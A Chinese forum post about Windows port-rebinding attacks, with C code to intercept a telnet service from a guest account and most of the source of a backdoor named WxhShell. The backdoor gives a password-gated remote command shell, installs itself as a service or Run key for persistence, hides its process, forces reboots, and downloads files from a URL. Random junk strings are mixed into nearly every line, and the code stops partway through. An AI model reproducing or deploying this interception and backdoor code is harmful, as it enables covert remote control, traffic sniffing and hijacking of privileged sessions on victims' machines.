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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: m0v .[61  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Y(kf<Wo  
cYC^;,C &|  
  saddr.sin_family = AF_INET; } -;)G~h/"  
a`f@&A`z  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); g%[:wjV;  
/w5*R5B{  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Qb/:E}h]$  
8uH8)  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 T=M##`jP%  
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  这意味着什么?意味着可以进行如下的攻击: AgSAjBP  
62_k`)k  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 =*lBJ-L  
CyYr5 Dz  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) S1y6G/e9  
/Qr`au  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 I{[Z  
2YW;=n  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  y1PyH  
G'-#99wv.  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 =G^'wwpv(  
(g X8iKl  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 WR"1d\m:  
:0 n+RL*5  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 |D/a}Av>B  
$^{#hYq)o  
  #include Tjrb.+cua  
  #include G&1bhi52  
  #include "uIaKb  
  #include    c};%VB  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Z/?{{}H+  
  int main() \( {'Xo >(  
  { U1) Zh-aR  
  WORD wVersionRequested; (y.N-I,  
  DWORD ret; {CBb^BP  
  WSADATA wsaData; =dKjTBR S'  
  BOOL val; { ,c*OR  
  SOCKADDR_IN saddr; kVKAG\F  
  SOCKADDR_IN scaddr; _]4 p51r0  
  int err; pl1CPxSdO  
  SOCKET s; >J S^yVk  
  SOCKET sc; -XV+F@`Md  
  int caddsize; C&vi7Yx  
  HANDLE mt; 8Ala31  
  DWORD tid;   @$%GszyQ'  
  wVersionRequested = MAKEWORD( 2, 2 ); y<Xu65  
  err = WSAStartup( wVersionRequested, &wsaData ); fDqT7}L  
  if ( err != 0 ) { x:!s+q` s  
  printf("error!WSAStartup failed!\n"); 1@KiP`DA  
  return -1; zEW+1-=)+7  
  } JOt(r}gU  
  saddr.sin_family = AF_INET; Y01! D"{\  
   e]88 4FP  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 o#f"wQH;p  
pUqC88*j  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 3s%ND7!/  
  saddr.sin_port = htons(23); OQ?N_zs,  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) =VuSi(d;e{  
  { 0`c{9gY.  
  printf("error!socket failed!\n"); _Wg}#r  
  return -1; 4^2>K C_  
  } Q9O_>mZy  
  val = TRUE; lm;hW&O9  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 a0sz$u  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) !aF~5P7%  
  { V27RK-.N!  
  printf("error!setsockopt failed!\n"); o68i0aFW  
  return -1; h^tCF=S  
  } a6DR' BC  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; *1`X}  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 b1 w@toc  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 1s=Q~*f~d  
G)}[!'<rR  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) SU~.baP?  
  { Y&O2;q/B  
  ret=GetLastError(); &U]/SFY  
  printf("error!bind failed!\n"); <O'U-. Gc  
  return -1; d8jH?P-"  
  } naf ~#==vc  
  listen(s,2); ySO\9#Ho  
  while(1) \'j(@b,  
  { S5TVfV5LI  
  caddsize = sizeof(scaddr); ? F #&F  
  //接受连接请求 <YFDS;b|  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); U0j>u*yE  
  if(sc!=INVALID_SOCKET) qD>^aEd@4  
  { LPt9+sauf1  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); oHx :["F  
  if(mt==NULL) bGeIb-|(  
  { 3jxC}xz)  
  printf("Thread Creat Failed!\n"); g3NUw/]#  
  break; $-1ajSVJ  
  } ye$_=KARP  
  } kpn|C 9r  
  CloseHandle(mt); 9Tt%~m^  
  } pK3A/ry<  
  closesocket(s); @y;VV*  
  WSACleanup(); .@OQ$ D<  
  return 0; Pa3-0dUr  
  }   !9/`PcNIpy  
  DWORD WINAPI ClientThread(LPVOID lpParam) Q NMZR  
  { <>\|hno}  
  SOCKET ss = (SOCKET)lpParam; `Fr ,,Q81\  
  SOCKET sc; -GPBX?  
  unsigned char buf[4096]; iG6]Pr|;e  
  SOCKADDR_IN saddr; . i4aM;Qy  
  long num; z f SE7i0  
  DWORD val; mk1R~4v  
  DWORD ret; m1%rm-M  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Yt(FSb31H  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   E! NtD).=S  
  saddr.sin_family = AF_INET; hp'oiR;~w  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); &]n }fq  
  saddr.sin_port = htons(23); C+s/KA%  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) (X"5x]7]  
  { P knOeW"j  
  printf("error!socket failed!\n"); X|hYZR  
  return -1; LQPQ !):;  
  } R'c dEoy  
  val = 100; M+ %O-B  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) (rBsh6@)  
  { ]z^jz#>um&  
  ret = GetLastError(); cl^UFl f[  
  return -1; V[/9?5pM  
  } 06.%9R{  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) N+c|0  
  { q%;cu1^"M  
  ret = GetLastError(); qK%N{ro[{?  
  return -1; xQvI$vP  
  } _j , Tc*T  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) "H(3pl.  
  { cDz@3So.b  
  printf("error!socket connect failed!\n"); n?r8ZDJ'  
  closesocket(sc); pwfQqPC#_  
  closesocket(ss); }5vKQf   
  return -1; 4%r?(C0x  
  } -1Li&K7  
  while(1) ZSQiQ2\)  
  { Sr6'$8#>Y  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 fL2P6N@  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 !ZUUn*e{5  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Q;3`T7  
  num = recv(ss,buf,4096,0); fKY-@B[|  
  if(num>0) 7Fo^ :"  
  send(sc,buf,num,0); j.Uy>ol  
  else if(num==0) \2y/:  
  break; ,V9qiu=m   
  num = recv(sc,buf,4096,0); uZn_*_J!  
  if(num>0) j_90iP^5:  
  send(ss,buf,num,0); Zb1GR5MB`k  
  else if(num==0) EX{%CPp7}  
  break; (}X5*BB&  
  } qWr=Oiu  
  closesocket(ss); e#HPU  
  closesocket(sc); k(H]ILL  
  return 0 ; md{nHX&  
  } K@1gK<,a  
S&UP;oc  
_oc6=Z  
========================================================== q&@s/k  
SzpUCr"  
下边附上一个代码,,WXhSHELL xFp$JN  
zy$jTqDH  
========================================================== $jh$nMx)!  
^ou)c/68aQ  
#include "stdafx.h" _@B?  
4Y59^  
#include <stdio.h> g$GGo[_0  
#include <string.h> :} =lE"2  
#include <windows.h> [x{$f7CEh  
#include <winsock2.h> SV t~pE+Y  
#include <winsvc.h> 3#,6(k4>  
#include <urlmon.h> dM^EYW  
Cty{   
#pragma comment (lib, "Ws2_32.lib") *Ze0V9$'  
#pragma comment (lib, "urlmon.lib") )KFxtM-  
t jThQ  
#define MAX_USER   100 // 最大客户端连接数 V6dq8Z"h  
#define BUF_SOCK   200 // sock buffer Fj<*!J$,  
#define KEY_BUFF   255 // 输入 buffer l3b=8yn.  
h!SsIy(  
#define REBOOT     0   // 重启 kNWTM%u9  
#define SHUTDOWN   1   // 关机 'M6+(`x  
bI0xI[#Q  
#define DEF_PORT   5000 // 监听端口 } F{s\qUt  
Ox J0. "  
#define REG_LEN     16   // 注册表键长度 IWv5UmjN  
#define SVC_LEN     80   // NT服务名长度 #w|v.35%?  
eoww N>-2C  
// 从dll定义API Tfh2>  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); /A0_#g:2*#  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); iqB5h| `  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); fe yc  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); o A2oX  
)e0kr46  
// wxhshell配置信息 P@UE.0NYX  
struct WSCFG { ~ `}),aA  
  int ws_port;         // 监听端口 <MJU:m $3  
  char ws_passstr[REG_LEN]; // 口令 vai w*?jV  
  int ws_autoins;       // 安装标记, 1=yes 0=no NL:-3W7vf  
  char ws_regname[REG_LEN]; // 注册表键名 e4=FO;%  
  char ws_svcname[REG_LEN]; // 服务名 xRc+3Z= N  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 !o`7$`%Wz\  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 (^iF)z  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 [r"Oi| 8I  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 3\}u#/Vb  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" )lLeL#]FLO  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 7Q|<6210  
:8O T  
}; 8:c=h/fa  
v zs4tkG  
// default Wxhshell configuration fWJpy#/^*K  
struct WSCFG wscfg={DEF_PORT, OcV,pJ  
    "xuhuanlingzhe", eef&ZL6g  
    1, t!3s@  
    "Wxhshell", O#;sY`fy_M  
    "Wxhshell", `oNJ=,p  
            "WxhShell Service", 2LN6pu  
    "Wrsky Windows CmdShell Service", X7-*`NI^  
    "Please Input Your Password: ", A"pQOtrm\k  
  1, _Vp"G)1Y  
  "http://www.wrsky.com/wxhshell.exe", *y?6m,38V  
  "Wxhshell.exe" 0^S$_L  
    }; DcBAncsK  
O0jOI3/P%  
// 消息定义模块  mhrF9&s  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; s.7=!JQ#]p  
char *msg_ws_prompt="\n\r? for help\n\r#>"; %`k [xz  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; AR( gI]1  
char *msg_ws_ext="\n\rExit."; j"6|$Ze8  
char *msg_ws_end="\n\rQuit."; #b*4v&<  
char *msg_ws_boot="\n\rReboot..."; jC[_uG  
char *msg_ws_poff="\n\rShutdown..."; Q(-&}cY  
char *msg_ws_down="\n\rSave to "; 8>WA5:]v  
5QK%BiDlr  
char *msg_ws_err="\n\rErr!"; J/P[9m30[  
char *msg_ws_ok="\n\rOK!"; "|I.j)  
$=diG  
char ExeFile[MAX_PATH]; "9'3mmZm=?  
int nUser = 0; N{bg-%s10i  
HANDLE handles[MAX_USER]; KE"6I  
int OsIsNt; Hre&a!U  
<o|fH~?X  
SERVICE_STATUS       serviceStatus; c6 &k?Puy  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; <vWP_yy  
v3cMPN  
// 函数声明 KwHN c\\  
int Install(void); kCD] &  
int Uninstall(void); # &)H&H}  
int DownloadFile(char *sURL, SOCKET wsh); pW.WJ`Rk  
int Boot(int flag); octQ[QXo#  
void HideProc(void); 94&t0j_  
int GetOsVer(void); .F$}a%  
int Wxhshell(SOCKET wsl); U9T}iI  
void TalkWithClient(void *cs);  'V^M+ng  
int CmdShell(SOCKET sock); tf7HhOCYX  
int StartFromService(void); \E,2VM@6  
int StartWxhshell(LPSTR lpCmdLine); =YVxQj  
D"aK;_W@h  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); rfVQX<95=/  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); {.kIC@^O  
}Fu1Y@M%  
// 数据结构和表定义 uMva5o  
SERVICE_TABLE_ENTRY DispatchTable[] = ] / Nt  
{ 7xO05)bz  
{wscfg.ws_svcname, NTServiceMain}, _+ 9i  
{NULL, NULL} PEEaNOk 1b  
}; A z@@0  
:|kO}NGM  
// 自我安装 ;b 65s9n^b  
int Install(void) *w0|`[P+h  
{ *(5;5r  
  char svExeFile[MAX_PATH]; @!oN]0`F;  
  HKEY key; V  H`_  
  strcpy(svExeFile,ExeFile); 9;%$  
Q e+;BE-H  
// 如果是win9x系统,修改注册表设为自启动 m%u`#67oK  
if(!OsIsNt) { f_O|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8D`+3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Xj+_"0 #  
  RegCloseKey(key); I2HV{1(i  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |~%RSS~b*  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); E8Kk )7  
  RegCloseKey(key); y "+'4:_  
  return 0; cO{NiRIb  
    } FVl, ttW  
  } XdThl  
} 7#+Ih-&EQ  
else { ]tu OWR  
M887 Q'HSi  
// 如果是NT以上系统,安装为系统服务 k-3;3Mq  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); aNKw.S>  
if (schSCManager!=0) yNfj-wM  
{ B!J?,SB  
  SC_HANDLE schService = CreateService ):hz /vZ  
  ( ]vB^%  
  schSCManager, N[O .p]8  
  wscfg.ws_svcname, ){P`-ZF  
  wscfg.ws_svcdisp, >WZ%Pv *  
  SERVICE_ALL_ACCESS, (BtU\f#d  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , eCKm4l'BZ  
  SERVICE_AUTO_START, Eh;Ia6}  
  SERVICE_ERROR_NORMAL, i_m& qy<v  
  svExeFile, V0m1>{  
  NULL, w uY-f4  
  NULL, :_i1gY)  
  NULL, 5P #._Em  
  NULL, T_2'=7  
  NULL 3(J>aQZuI  
  ); vcy1itY  
  if (schService!=0) 5!9y nIC+>  
  { MHWc~@R  
  CloseServiceHandle(schService); OQ2G2>p  
  CloseServiceHandle(schSCManager); gNxv.6Pp=  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); >CKa?N;  
  strcat(svExeFile,wscfg.ws_svcname); 5K9W5hA:D  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { (9( xJ)  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); %P1zb7:8  
  RegCloseKey(key); f 5bX,e)!  
  return 0; QE"$Lc)  
    } :| k!hG  
  } +7OE,RoQ  
  CloseServiceHandle(schSCManager); W:n\,P  
} ;C o"bP's  
} )?&mCI*  
o7+<sL  
return 1; bS:$VyH6  
} GB `n  
} -4p8Zt  
// 自我卸载 z|AknEE,  
int Uninstall(void) &/uakkS  
{ U[;ECw@  
  HKEY key; ;(,GS@sP  
TuCHD~rb  
if(!OsIsNt) { 1 c"s+k]9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @Z$fEG)9  
  RegDeleteValue(key,wscfg.ws_regname); ! weYOOu  
  RegCloseKey(key); zQ<&[Tuwa  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { W'k&DKhTqF  
  RegDeleteValue(key,wscfg.ws_regname); 5[zr(FuE  
  RegCloseKey(key); A<H]uQ>  
  return 0; nUONI+6Z/  
  } S|u5RU8*"|  
} |af<2(d  
} ;QuxTmWp^  
else { 6k,@+ @]t.  
EX<1hAw  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); _`QMEr?  
if (schSCManager!=0) jyg>'"W  
{  gHUW1E  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); >@4Ds"Ye"O  
  if (schService!=0) 05 6yhB  
  { n$j B"1  
  if(DeleteService(schService)!=0) { >Gg[J=7`  
  CloseServiceHandle(schService); aAoAjVNkK  
  CloseServiceHandle(schSCManager); ;/m>c{  
  return 0; WR.7%U';  
  } Zq1> M'V;  
  CloseServiceHandle(schService); '%Oo1:wJ  
  } .O~rAu*K  
  CloseServiceHandle(schSCManager); b,HXD~=  
} &C,]c#-+  
} z}5'TV=^  
0_y&9Te  
return 1; PK?}hz  
} D0f7I:i1  
S#+ _HFUK{  
// 从指定url下载文件 .*EP$pc  
int DownloadFile(char *sURL, SOCKET wsh) (#je0ES  
{ .q]K:}9!\  
  HRESULT hr; FGwgSrXL7  
char seps[]= "/"; g+.E=Ef8<4  
char *token; aM[fag$c  
char *file; cEJ_z(\=hr  
char myURL[MAX_PATH]; F r2 +p  
char myFILE[MAX_PATH]; ,h3,& ,  
 ;XYfw)  
strcpy(myURL,sURL); 3kJSz-_M  
  token=strtok(myURL,seps); T^ xp2cZ  
  while(token!=NULL) H'EBe;ccM  
  { =8r,-3lC;  
    file=token; N/^[c+J  
  token=strtok(NULL,seps); l%2B4d9"v  
  } 1 d.>?^uE  
wL0"1Ya  
GetCurrentDirectory(MAX_PATH,myFILE); kgmb<4p  
strcat(myFILE, "\\"); jS/$ o?  
strcat(myFILE, file); U/(R_U>=  
  send(wsh,myFILE,strlen(myFILE),0); ";0-9*I  
send(wsh,"...",3,0); &E k\  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); wAb_fU&*  
  if(hr==S_OK) y7*^H  
return 0; BYS>"  
else 9*|An  
return 1; Ke&fTK  
nDchLVw  
} t^9q>[/d`  
HZ2zL17  
// 系统电源模块 KRcg  
int Boot(int flag) f;ycQc@f  
{ FUPJ&7+B  
  HANDLE hToken; T5U(B3j_  
  TOKEN_PRIVILEGES tkp; H @E-=Ly  
8J9o$Se  
  if(OsIsNt) { {24Pv#ZG#^  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); inGH'nl_  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ~u-`L+G"6  
    tkp.PrivilegeCount = 1; h"nv[0!)  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 0$nJd_gW_  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); U`'w{~"D%  
if(flag==REBOOT) { :(x 90;DW  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) /%N~$ &wW  
  return 0; WHF:> 0B  
} 2,%ne(  
else { ]gj@r[  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) .^1=*j(;  
  return 0;  6Ue6b$xE  
} ]7"mt2Q=3  
  } X]CaWxM  
  else { d}415 XA  
if(flag==REBOOT) {  *JOv  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) WI'csM;M#  
  return 0; ma* 9O |v^  
} 4';['  
else { X}bgRzj  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) DFjkp;`1  
  return 0; tbk9N( R  
} 8@Km@o]?  
} J5rR?[i{  
WCWBvw4&"{  
return 1; _H3cqD  
} N4 mQN90t  
aH$*Ue@Q  
// win9x进程隐藏模块 DwTZ<H4  
void HideProc(void) CGg6nCB  
{ D{z=)'/F  
en~(XE1  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); T +4!g|Y  
  if ( hKernel != NULL ) Ip 1QmP  
  { ;[ zx'e?!  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); h/w- &7t  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Y2D) $  
    FreeLibrary(hKernel); -s!PO;qm  
  } $fvUb_n  
cE]kI,Fw,M  
return; FRF}V@~  
} "Ii!)n,  
F;NZJEy  
// 获取操作系统版本 mg;AcAS.o,  
int GetOsVer(void) i\eykYc,  
{ XAFTLNV>  
  OSVERSIONINFO winfo; g%[Ruugu  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); IH0^*f  
  GetVersionEx(&winfo); 9VY_gi=vL  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ohyUvxvj  
  return 1; p]g/iLDZ  
  else 2I4P":q  
  return 0; Zj<T#4?8  
} Q\z*q,^R  
|Z/ySAFM  
// 客户端句柄模块 &boBu^,94  
int Wxhshell(SOCKET wsl) q.X-2jjpx:  
{ (6+0U1[Iz  
  SOCKET wsh; tE>:kx0*3  
  struct sockaddr_in client; J8D-a!  
  DWORD myID; QBo^{],  
tr}$82Po  
  while(nUser<MAX_USER) wLbns qa  
{ Y{'G2)e  
  int nSize=sizeof(client); Stw6%T-  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); y|mR'{$I  
  if(wsh==INVALID_SOCKET) return 1; TPzoU" qh  
v>P){VT  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); }R'oAE}$  
if(handles[nUser]==0) yI;Qb7|^  
  closesocket(wsh); )G|U B8]  
else Mt:(w;Y  
  nUser++; `'QPe42  
  } t8[:}[Jx  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); [6tQv<}^  
@'y"D  
  return 0; $7*Ml)H!9  
} vtT:c.~d  
& Gt9a-ne  
// 关闭 socket +Snjb0  
void CloseIt(SOCKET wsh) :4Vt  
{ g<-cHF  
closesocket(wsh); _ 8>"&1n  
nUser--; w$!n8A qs  
ExitThread(0); /L 4WWQ5  
} "8X+F%  
ij),DbWd  
// 客户端请求句柄 G#*;3X$  
void TalkWithClient(void *cs) 6bn-NY:i  
{ b +_E)4  
}1P  
  SOCKET wsh=(SOCKET)cs; yC5|"+ A$  
  char pwd[SVC_LEN]; 4c yv 8  
  char cmd[KEY_BUFF]; *%e#)sn*  
char chr[1]; -d~'tti  
int i,j; 5*r6#[S\  
re*/JkDq3K  
  while (nUser < MAX_USER) { x@ O:  
\NqC i'&  
if(wscfg.ws_passstr) { (65p/$Vh  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); J@fE" )  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 4SrK]+|  
  //ZeroMemory(pwd,KEY_BUFF); ^s*} 0  
      i=0; )wRD  
  while(i<SVC_LEN) { { 1+H\ (v  
FRW.  
  // 设置超时 8FITcK^  
  fd_set FdRead; A0ToX) |C  
  struct timeval TimeOut; !ZZAI_N  
  FD_ZERO(&FdRead); SOL=3hfb^  
  FD_SET(wsh,&FdRead); >vU Hf`4T  
  TimeOut.tv_sec=8; bW]+Og  
  TimeOut.tv_usec=0; +*q@=P,  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); /~[R u  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); >>r:L3<!  
*Y ZLQT  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); L9@jmh*E  
  pwd=chr[0]; UK,P?_e  
  if(chr[0]==0xd || chr[0]==0xa) { K/-D 5U  
  pwd=0; As`^Ku&  
  break; a6d KQ3D  
  } :Eyv==  
  i++; :S12=sFl$  
    } M=A9a x  
%U 7B0-  
  // 如果是非法用户,关闭 socket hz%IxI9  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ap~Iz  
} xTMTkVa+B  
[)A#9L~s=  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); %K7}yy&9C  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); cw.7YiU  
(% P=#vZ  
while(1) { Ev16xL8B  
wrU[#g,uvr  
  ZeroMemory(cmd,KEY_BUFF); -wfV  
}TW=eu~  
      // 自动支持客户端 telnet标准   !*gAGt_  
  j=0; A\)X&vR[6  
  while(j<KEY_BUFF) { 3#[I _  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); MV}]i@ V  
  cmd[j]=chr[0]; `%3p.~>  
  if(chr[0]==0xa || chr[0]==0xd) { ErC[Zh"''  
  cmd[j]=0; Cj+=9Dc  
  break; ~~,<+X:  
  } >lmL  
  j++; P1n@E*~V5  
    } Uj)]nJX  
iurB8~Y  
  // 下载文件 }i:'f 2/  
  if(strstr(cmd,"http://")) { VHCzlg  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); h6i{5\7.  
  if(DownloadFile(cmd,wsh)) Gu).*cU  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); :F=nb+HZ  
  else ~x:] ch|  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :\_MA^<  
  } F.D1;,x  
  else { c^IEj1@}'?  
(qN(#~  
    switch(cmd[0]) { GcW}<g}  
  bf/loMtD  
  // 帮助 ?y)X$D^  
  case '?': { 8zWPb  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); [Gy'0P(EQ  
    break; V?BVk8D};  
  } Pltju4.:C  
  // 安装 K3DJ"NJ<Ji  
  case 'i': { &NeY Kh?  
    if(Install()) 0pa^O$?p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +=Wdn)T  
    else ^ZUgDQduc  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~+yo;[1Yc  
    break; wf%Ep#^6}  
    } A> A'dQ69  
  // 卸载 >r3< O=Z7  
  case 'r': { C/Bx_j((  
    if(Uninstall()) ? M_SNv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZS]f+}0/}  
    else `r(J6,O  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /ASI 0h  
    break; P'9io!Z-s  
    } WI_mJ/2  
  // 显示 wxhshell 所在路径 ]_8I_V cQ  
  case 'p': { }9 2lr87  
    char svExeFile[MAX_PATH]; !p2,|6Y`y  
    strcpy(svExeFile,"\n\r"); D(U3zXdO  
      strcat(svExeFile,ExeFile); @(fY4]K  
        send(wsh,svExeFile,strlen(svExeFile),0); 5O ;^Mk|  
    break; z %E!tB2o  
    } C&N4<2b  
  // 重启 s,H(m8#>  
  case 'b': { C)p<M H<  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); %5?-g[  
    if(Boot(REBOOT)) &W// Ox )f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); BrMp_M  
    else { bCUh^#]x  
    closesocket(wsh); "0zXpQi,B  
    ExitThread(0); 6D"`FPC  
    } w]o5L  
    break; _6zP] |VBr  
    } y7EX&  
  // 关机 1e&b;l'*=  
  case 'd': { ![ID0}MjJ  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); -Bv1}xf=6  
